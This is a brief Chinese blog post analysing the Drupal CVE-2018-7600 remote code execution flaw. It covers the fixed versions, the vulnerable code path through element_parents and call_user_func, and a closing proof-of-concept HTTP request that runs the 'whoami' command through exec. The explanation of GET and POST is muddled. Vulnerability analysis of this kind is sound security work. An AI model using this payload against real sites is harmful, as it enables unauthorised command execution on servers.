Drupal CVE-2018-7600 口语分析

一些版本(还有6版本)
7.x版本,更新到 7.58
8.5.x版本,更新到 8.5.1
8.4.x 版本,更新到 8.4.6
8.3.x 版本,更新到 8.3.9

口语分析

描述


一个用php写的CMS,它有一个流程:注册页面时提交页面正确,返回注册成功 如果表单出错,比如邮箱重复,会调用 buildform ,把post表单数据构造成数组,作为 html 表单数据返回,另一个问题是,上传图片时,会返回缩略图,调用表单数组,上传图片会调用 uploadAjaxCallback 方法,第一个参数是form表单数组,上传函数中会把get的第一个参数element_parents的值转为数组赋值给 form_parents, $form_parents = explode('/', $request->query->get('element_parents'));, 然后有个函数,是把 from_parents 数组当作路径(本来就是路径看下面的poc 就知道了)去 from 表单按照这个路径下只有一个数组,取出来赋值给新的 $from ,下面有个函数把 from 数组当作参数,函数返回又调用另一个函数,而这个函数调用了 call_user_func 方法,call_user_func 的第一个参数是 callable,callable 是由 elements[‘#pre_render’] 赋值的,这是 post 数据可控,第二个参数 mail[#markup] 也是 post 参数 。

post get 发送数据的一个点


这里边,还有个点,post 一般 只有 post 数据,而这里从 get ,post 取值,是因为post get,基于tcp/ip,因为 浏览器 / 服务器限制,让 get post 有点不同,get post 浏览器没限制的话,或直接发包,都是可以发 http 头中 data,body数据的。

POC


POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1

Host: 192.168.1.1:32767
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=whoami
Written on May 24, 2018